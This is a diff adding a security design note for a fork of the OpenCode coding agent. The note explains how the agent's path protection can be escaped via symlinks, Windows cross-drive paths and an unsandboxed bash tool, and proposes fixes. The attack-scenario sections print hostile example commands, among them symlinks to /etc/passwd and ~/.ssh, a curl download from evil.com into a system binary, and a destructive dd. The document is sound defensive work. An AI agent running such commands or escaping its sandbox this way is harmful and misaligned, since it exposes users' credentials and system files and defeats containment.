|
| 1 | +## Summary |
| 2 | + |
| 3 | +Our fork inherits OpenCode's 7-layer path protection, but has the **same known vulnerabilities** that led to CVEs in both Codex (GHSA-w5fx-fh39-j5rw, CVSS 8.6) and Claude Code (CVE-2025-54794, CVSS 7.7). The agent can escape the project directory via symlinks, and the bash tool has no OS-level sandbox. |
| 4 | + |
| 5 | +## Current State: What We Have |
| 6 | + |
| 7 | +All 7 upstream protection layers are present: |
| 8 | + |
| 9 | +| Layer | Mechanism | Location | |
| 10 | +|-------|-----------|----------| |
| 11 | +| Lexical containment | `Filesystem.contains()` — `path.relative()` check | `util/filesystem.ts:148-150` | |
| 12 | +| Instance boundary | `Instance.containsPath()` — checks `directory` + `worktree` | `project/instance.ts:98-104` | |
| 13 | +| External dir prompt | `assertExternalDirectory()` — user prompt for external paths | `tool/external-directory.ts:12-32` | |
| 14 | +| Non-git safety | Worktree `"/"` special case | `instance.ts:102` | |
| 15 | +| File.read/list guard | `containsPath()` before filesystem ops | `file/index.ts:505, 585` | |
| 16 | +| Bash tool analysis | Tree-sitter parse + `fs.realpath()` + external dir prompt | `tool/bash.ts:88-151` | |
| 17 | +| Test coverage | Path traversal tests | `test/file/path-traversal.test.ts` | |
| 18 | + |
| 19 | +## Known Vulnerabilities |
| 20 | + |
| 21 | +### 1. Symlink Escape (High Priority) |
| 22 | + |
| 23 | +**Documented TODO at `file/index.ts:503`**: `Filesystem.contains()` is lexical only — symlinks inside the project can escape the sandbox. |
| 24 | + |
| 25 | +**Attack scenario:** |
| 26 | +```bash |
| 27 | +# Inside project directory |
| 28 | +ln -s /etc/passwd ./innocent-looking-file.txt |
| 29 | +# Agent reads ./innocent-looking-file.txt → reads /etc/passwd |
| 30 | +# Filesystem.contains() passes because the path is lexically inside the project |
| 31 | + |
| 32 | +# Worse: directory symlink |
| 33 | +ln -s /home/user/.ssh ./config |
| 34 | +# Agent can now read/write SSH keys via ./config/id_rsa |
| 35 | +``` |
| 36 | + |
| 37 | +**Root cause:** `Filesystem.contains()` uses `path.relative()` which is purely lexical: |
| 38 | +```typescript |
| 39 | +export function contains(parent: string, child: string) { |
| 40 | + return !relative(parent, child).startsWith("..") |
| 41 | +} |
| 42 | +``` |
| 43 | + |
| 44 | +Both Codex and Claude Code had equivalent CVEs for this class of bug and now use `realpathSync()` / canonical path resolution. |
| 45 | + |
| 46 | +### 2. Windows Cross-Drive Bypass (Medium Priority) |
| 47 | + |
| 48 | +**Documented TODO at `file/index.ts:504`**: On Windows, cross-drive paths bypass the containment check. |
| 49 | + |
| 50 | +`path.relative("C:\\project", "D:\\secrets")` returns `"D:\\secrets"` (absolute), which doesn't start with `".."` — so `contains()` returns `true`. |
| 51 | + |
| 52 | +**Fix:** Add `!path.isAbsolute(rel)` check. |
| 53 | + |
| 54 | +### 3. No OS-Level Sandbox for Bash Tool (Medium Priority) |
| 55 | + |
| 56 | +The bash tool does tree-sitter analysis of commands, but this is **best-effort** — it only recognizes a hardcoded list of commands (`cd`, `rm`, `cp`, `mv`, `mkdir`, `touch`, `chmod`, `chown`, `cat`). Any other command with file arguments bypasses the check entirely. |
| 57 | + |
| 58 | +**Examples that bypass:** |
| 59 | +```bash |
| 60 | +# These write outside project without triggering external_directory prompt: |
| 61 | +python3 -c "open('/etc/hosts','a').write('malicious')" |
| 62 | +node -e "require('fs').writeFileSync('/tmp/exfil', data)" |
| 63 | +curl http://evil.com -o /usr/local/bin/backdoor |
| 64 | +dd if=/dev/zero of=/important/file |
| 65 | +``` |
| 66 | + |
| 67 | +Codex solves this with OS-level sandboxing (Seatbelt on macOS, bubblewrap+seccomp on Linux). Claude Code uses the same approach for bash child processes. |
| 68 | + |
| 69 | +### 4. Prefix Collision Edge Case (Low Priority) |
| 70 | + |
| 71 | +While `path.relative()` actually handles the basic prefix collision (`/project` vs `/project-evil`), there's no canonical resolution. Combined with symlinks, crafted paths could potentially bypass checks. |
| 72 | + |
| 73 | +## Comparison with Industry |
| 74 | + |
| 75 | +| Feature | Codex | Claude Code | Us (current) | |
| 76 | +|---------|:-----:|:-----------:|:------------:| |
| 77 | +| Lexical path check | ✅ | ✅ | ✅ | |
| 78 | +| Symlink resolution | ✅ | ✅ (post-CVE) | ❌ (TODO) | |
| 79 | +| `isAbsolute(rel)` check | ✅ | ✅ | ❌ (TODO) | |
| 80 | +| OS-level bash sandbox | ✅ (Seatbelt/bwrap) | ✅ (Seatbelt/bwrap) | ❌ | |
| 81 | +| Protected dirs (`.git`, `.ssh`) | ✅ | ✅ | ❌ | |
| 82 | +| Configurable allow/deny paths | ✅ | ✅ | ❌ | |
| 83 | +| Network isolation | ✅ (proxy) | ✅ (proxy) | ❌ | |
| 84 | + |
| 85 | +## Proposed Fix — Phased Approach |
| 86 | + |
| 87 | +### Phase 1: Harden `Filesystem.contains()` (Quick Win) |
| 88 | + |
| 89 | +Fix the symlink escape and Windows cross-drive bugs: |
| 90 | + |
| 91 | +```typescript |
| 92 | +export function contains(parent: string, child: string) { |
| 93 | + const rel = relative(parent, child) |
| 94 | + // Block cross-drive paths on Windows (relative() returns absolute path) |
| 95 | + if (isAbsolute(rel)) return false |
| 96 | + return !rel.startsWith("..") |
| 97 | +} |
| 98 | + |
| 99 | +// New: symlink-aware version for security-critical checks |
| 100 | +export function containsReal(parent: string, child: string): boolean { |
| 101 | + try { |
| 102 | + const realParent = realpathSync(parent) |
| 103 | + const realChild = realpathSync(child) |
| 104 | + const rel = relative(realParent, realChild) |
| 105 | + return !isAbsolute(rel) && !rel.startsWith("..") |
| 106 | + } catch { |
| 107 | + // Child doesn't exist yet (write op) — resolve parent dir |
| 108 | + const realParent = realpathSync(parent) |
| 109 | + const childDir = dirname(child) |
| 110 | + try { |
| 111 | + const realChildDir = realpathSync(childDir) |
| 112 | + const realChild = join(realChildDir, basename(child)) |
| 113 | + const rel = relative(realParent, realChild) |
| 114 | + return !isAbsolute(rel) && !rel.startsWith("..") |
| 115 | + } catch { |
| 116 | + return false // Parent dir doesn't exist either — deny |
| 117 | + } |
| 118 | + } |
| 119 | +} |
| 120 | +``` |
| 121 | + |
| 122 | +Update `Instance.containsPath()` to use `containsReal()`. |
| 123 | + |
| 124 | +**Tests to add:** |
| 125 | +- Symlink pointing outside project → denied |
| 126 | +- Directory symlink escape → denied |
| 127 | +- Windows cross-drive path → denied |
| 128 | +- Nested symlink chains → denied |
| 129 | +- Symlink to allowed path within project → allowed |
| 130 | +- Non-existent file in valid dir → allowed |
| 131 | + |
| 132 | +### Phase 2: Protected Directories |
| 133 | + |
| 134 | +Even inside writable roots, protect sensitive directories: |
| 135 | + |
| 136 | +```typescript |
| 137 | +const ALWAYS_PROTECTED = [ |
| 138 | + '.git', |
| 139 | + '.ssh', |
| 140 | + '.gnupg', |
| 141 | + '.aws', |
| 142 | + '.env', |
| 143 | + '.env.local', |
| 144 | + '.env.production', |
| 145 | +] |
| 146 | +``` |
| 147 | + |
| 148 | +Codex does this for `.git`, `.codex`, `.agents`. We should extend it. |
| 149 | + |
| 150 | +### Phase 3: Configurable Allow/Deny Paths |
| 151 | + |
| 152 | +Add to project config (`.opencode/config.json` or similar): |
| 153 | + |
| 154 | +```json |
| 155 | +{ |
| 156 | + "sandbox": { |
| 157 | + "allowWrite": ["~/.dbt", "/tmp/altimate"], |
| 158 | + "denyWrite": ["~/.ssh", "~/.aws"], |
| 159 | + "denyRead": ["~/.ssh/id_rsa"] |
| 160 | + } |
| 161 | +} |
| 162 | +``` |
| 163 | + |
| 164 | +### Phase 4: OS-Level Sandbox for Bash (Aspirational) |
| 165 | + |
| 166 | +Implement Seatbelt (macOS) and bubblewrap (Linux) for bash tool child processes, following the Codex pattern. This is the most complex change but provides the strongest guarantee. |
| 167 | + |
| 168 | +## References |
| 169 | + |
| 170 | +- Codex sandbox bypass: [GHSA-w5fx-fh39-j5rw](https://github.com/openai/codex/security/advisories/GHSA-w5fx-fh39-j5rw) (CVSS 8.6) |
| 171 | +- Claude Code path traversal: [CVE-2025-54794](https://github.com/anthropics/claude-code/security/advisories/GHSA-pmw4-pwvc-3hx2) (CVSS 7.7) |
| 172 | +- Codex seatbelt impl: `codex-rs/core/src/seatbelt.rs` |
| 173 | +- Claude Code sandbox docs: https://code.claude.com/docs/en/sandboxing |
| 174 | +- Our TODOs: `file/index.ts:503-504` |
0 commit comments